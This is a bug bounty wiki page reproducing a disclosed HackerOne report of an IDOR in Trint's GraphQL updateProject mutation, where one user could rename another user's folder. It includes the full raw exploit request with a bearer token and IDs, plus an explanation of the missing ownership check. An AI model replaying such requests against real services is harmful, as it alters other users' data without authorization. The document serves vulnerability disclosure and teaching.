Skip to content
IDOR Disclosed report Beginner

IDOR to update folder name of other user

A GraphQL mutation that renames a project accepted a project identifier belonging to another user, so any logged-in user could rename someone else's folder. An attacker could change the folder name of another user without permission.

toannc123 Follow

Originally disclosed on HackerOne

  • Triaged in 11 hours
  • Fixed in 12 days
  • Disclosed after 42 days

###Summary There is an IDOR to update folder name of other user

###Steps To Reproduce:

  • user A login to the application and see the folder name
Capture1.PNG
Capture1.PNG From the original on HackerOne
  • user B login to the application and call the API with the projectId of user A
POST / HTTP/1.1
Host: graphql2.trint.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.trint.com/trints
content-type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJodHRwczovL2FwcC50cmludC5jb20vaXNOZXdVc2VyIjp0cnVlLCJodHRwczovL2FwcC50cmludC5jb20vdXNlcklkIjoiNWNlNTAyYTIxZTFjYWY3NTBkNmM3ZjU5IiwiaXNzIjoiaHR0cHM6Ly90cmludC5hdXRoMC5jb20vIiwic3ViIjoiZmFjZWJvb2t8NTM5NjM3MDE2NTY4MjUxIiwiYXVkIjoiaWNoNGh5VllQS0tnZUVvVGg2ZldQWGM2ZnJ2ZVRjVHEiLCJpYXQiOjE1NTg1MTIyOTYsImV4cCI6MTU2MDg3Mjg4MH0.umWI5RJnC3bO1NbP5TFI0A37H182U7J0WC3d_5W0xLc
X-Trint-Request-Id: 53c6c888-89a3-402b-b6f5-2dedc3f69aa8
X-Trint-Super-Properties: {"distinct_id":"5ce502a21e1caf750d6c7f59","$device_id":"16ade919a91481-044fc792d93be1-4c312272-1fa400-16ade919a9274","$initial_referrer":"$direct","$initial_referring_domain":"$direct","returningUser":false,"$user_id":"5ce502a21e1caf750d6c7f59"}
Origin: https://app.trint.com
Content-Length: 490
Connection: close

{"operationName":"updateProject","variables":{"userId":"5ce502a21e1caf750d6c7f59","projectName":"abctesthorizontal","projectId":"i2lu5qZVTwWnQQhPp_g8Ig"},"query":"mutation updateProject($userId: String!, $projectName: String!, $projectId: String!) {\n  updateProject(userId: $userId, projectName: $projectName, projectId: $projectId) {\n    ...RenameProjectFragment\n    __typename\n  }\n}\n\nfragment RenameProjectFragment on Project {\n  _id\n  projectName\n  updated\n  __typename\n}\n"}
Capture2.PNG
Capture2.PNG From the original on HackerOne
  • After that, the folder name of user A is changed
Capture3.PNG
Capture3.PNG From the original on HackerOne

Impact

An attacker could update folder name of other user.

The original report as published on HackerOne, by toannc123. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the updateProject mutation trusted the supplied projectId without checking that it belonged to the authenticated user.

Impact

An attacker could rename another user's folder, a low-impact integrity issue limited to folder names.

What the attacker needed

Two accounts; attacker knows victim's projectId

How it was found

  1. User A logs in and notes the folder name.
  2. User B logs in and sends the updateProject request using user A's projectId.
  3. User A's folder name is changed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Every project has a unique identifier. The server should check that the person asking to rename a project actually owns it, but it did not. So one user could rename another user's folder just by sending that folder's identifier.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by toannc123

View all

5 more disclosed reports, best first.

More from Trint Ltd

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.